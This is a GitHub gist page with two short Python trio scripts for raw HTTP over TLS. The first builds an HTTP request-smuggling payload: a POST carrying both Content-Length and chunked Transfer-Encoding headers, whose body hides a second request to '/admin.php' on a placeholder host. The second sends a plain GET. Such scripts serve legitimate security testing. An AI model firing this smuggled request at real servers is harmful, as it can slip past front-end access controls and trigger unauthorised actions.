Skip to content

Instantly share code, notes, and snippets.

@NicolaiSoeborg
Last active December 22, 2025 12:43
Show Gist options
  • Select an option

  • Save NicolaiSoeborg/a75e2a474c315ac1cb2e79de1f594d8c to your computer and use it in GitHub Desktop.

Select an option

Save NicolaiSoeborg/a75e2a474c315ac1cb2e79de1f594d8c to your computer and use it in GitHub Desktop.
nc/socat like raw socket access to HTTPS
import trio
METHOD = 'POST'
HOST = "example.com"
PORT = 443
PATH = "/index.php"
BODY = b"""0\r\n\r\nPOST /admin.php?sideeffect=1 HTTP/1.1\r\nX-Ignore-This:"""
HEADERS = {
'Host': HOST,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0',
#'Connection': 'close',
'Content-Length': len(BODY),
'Transfer-Encoding': 'chunked',
}
async def main():
s0 = await trio.open_ssl_over_tcp_stream(HOST, PORT, https_compatible=True)
#s0 = await trio.open_tcp_stream(HOST, PORT)
# Request a connection to the website
H = '\r\n'.join(f'{k}: {v}' for k, v in HEADERS.items())
req = f"{METHOD} {PATH} HTTP/1.1\r\n{H}\r\n\r\n".encode()
if BODY:
req += BODY
await s0.send_all(req)
async for chunk in s0:
print(f"=> {chunk}")
if __name__ == '__main__':
trio.run(main)
import trio # pip3 install trio
DOMAIN = "example.com"
PATH = "/"
async def main():
s0 = await trio.open_ssl_over_tcp_stream(DOMAIN, 443, https_compatible=True)
#s0 = await trio.open_tcp_stream(DOMAIN, 80)
# Request a connection to the website
await s0.send_all(f"GET {PATH} HTTP/1.1\r\nHost: {DOMAIN}\r\n\r\n".encode())
async for chunk in s0:
print(f"=> {chunk}")
if __name__ == '__main__':
trio.run(main)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment